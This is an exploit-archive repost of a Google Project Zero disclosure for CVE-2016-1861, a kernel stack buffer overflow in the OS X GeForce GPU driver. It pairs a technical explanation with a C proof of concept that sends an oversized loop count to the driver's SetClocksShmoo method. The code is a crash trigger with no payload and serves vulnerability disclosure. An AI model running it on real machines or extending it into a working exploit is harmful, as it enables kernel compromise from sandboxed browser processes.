OS X Kernel - Stack Buffer Overflow in GeForce GPU Driver



EKU-ID: 5602 CVE: 2016-1861 OSVDB-ID:
Author: Google Security Research Published: 2016-06-12 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=724
 
nvAPIClient::Escape is the sole external method of nvAcclerator userclient type 0x2a0.
It implements its own method and parameter demuxing using the struct-in struct-out
buffers.
 
The second dword in the struct in buffer is another method identifier used in a switch
statement in ::Escape to choose the method to call. Method 24 is ::SetClocksShmoo.
 
On entry to this method rsi points to a buffer in kernel space with completely
user-controlled contents.
 
The uint16_t field at +0xc is used a loop count for the memory copying loop at
+0xff3e with insufficient bounds checking. The destination stack buffer is 0x520 bytes below the saved
frame pointer but the code only checks whether the value we provide (after bit shifting)
is greater than 0xff. Since each iteration of the loop writes 0x14 bytes we can actually
write up to 0x13ec bytes which is well over the size of the stack buffer which is being copied
into.
 
This bug is reachable from the safari renderer sandbox and the chrome gpu process sandbox
on device with the appropriate hardware (eg macbookpro)
*/
 
// ianbeer
 
// build: clang -o nv_shmoo nv_shmoo.c -framework IOKit
// tested on MacBookPro 10,1  w/10.11.3 (15D21)
 
/*
OS X kernel stack buffer overflow in GeForce gpu driver
 
nvAPIClient::Escape is the sole external method of nvAcclerator userclient type 0x2a0.
It implements its own method and parameter demuxing using the struct-in struct-out
buffers.
 
The second dword in the struct in buffer is another method identified used in a switch
statement in ::Escape to choose the method to call. Method 24 is ::SetClocksShmoo.
 
On entry to this method rsi points to a buffer in kernel space with completely
user-controlled contents.
 
The uint16_t field at +0xc is used a loop count for the memory copying loop at
+0xff3e with insufficient bounds checking. The destination stack buffer is 0x520 bytes below the saved
frame pointer but the code only checks whether the value we provide (after bit shifting)
is greater than 0xff. Since each iteration of the loop writes 0x14 bytes we can actually
write up to 0x13ec bytes which is well over the size of the stack buffer which is being copied
into.
 
This bug is reachable from the safari renderer sandbox and the chrome gpu process sandbox
on device with the appropriate hardware (eg macbookpro)
*/
 
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
 
#include <mach/mach.h>
#include <mach/vm_map.h>
 
#include <IOKit/IOKitLib.h>
 
uint64_t release_device_texture(mach_port_t conn) {
  kern_return_t err;
   
  uint64_t inputScalar[16]; 
  uint64_t inputScalarCnt = 0;
 
  char inputStruct[4096];
  size_t inputStructCnt = 0;
 
  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;
 
  char outputStruct[4096];
  size_t outputStructCnt = 0;
 
 
  inputStructCnt = 4096;
  memset(inputStruct, 'A', inputStructCnt);
 
  *((uint32_t*)(inputStruct+0x0)) = 1;
  *((uint32_t*)(inputStruct+0x4)) = 24;    // ::setShmoo
  *((uint16_t*)(inputStruct+0xc)) = 0x1fe;
 
  outputStructCnt = 4096;
 
  err = IOConnectCallMethod(
   conn,
   0x0,
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt);
 
  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
  } else{
    printf("worked?\n");
  }
   
  return 0;
}
 
mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;
 
  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }
 
  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }
 
  io_service_t service = IOIteratorNext(iterator);
 
  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);
 
 
  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }
 
  printf("got userclient connection: %x\n", conn);
 
  return conn;
}
 
 
 
int main(int argc, char** argv){
  mach_port_t gl_context = get_user_client("IOAccelerator", 0x2a0);
  release_device_texture(gl_context);
  return 0;
 
}